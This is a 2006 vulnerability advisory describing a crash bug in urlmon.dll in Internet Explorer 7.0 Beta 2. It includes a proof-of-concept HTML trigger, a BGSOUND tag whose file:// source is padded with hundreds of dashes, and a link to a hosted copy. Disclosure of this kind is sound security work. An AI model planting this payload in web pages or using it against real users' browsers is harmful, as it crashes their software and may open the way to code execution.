Internet Explorer 7.0 Beta 2 urlmon.dll DoS

Release Date:
Jan 31, 2006

Severity:
Medium

Vendor:
Microsoft

Versions Affected:
Internet Explorer 7.0 Beta 2 (7.0.5296.0)

Overview: 
A denial of service vulnerability exists within Microsoft Internet
Explorer 7.0 Beta 2 which allows for an attacker to cause the browser to
crash, and or to execute arbitrary code on the targeted host.

Technical Details: 
When running a specially crafted .html file, urlmon.dll
inproperly parses the 'BGSOUND SRC=file://---' (approx. 344 dashes) and
causes the crash. 

The following html code will trigger the crash:

<BGSOUND
SRC=file://---------------------------------------------------------------------
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
---------------------------------- >

or hit the following url:

http://www.security-protocols.com/poc/sp-x23.html

Vendor Status:
Microsoft was notified.

Workaround:
Mozilla Firefox

Discovered by:
Tom Ferris
<tommy[at]security-protocols[dot]com>

Related Links:
http://www.security-protocols.com/advisory/sp-x23.txt
http://security-protocols.com/modules.php?name=News&file=article&sid=3169
http://www.microsoft.com/windows/IE/ie7/ie7betaredirect.mspx

Copyright (c) 2006 Security-Protocols.com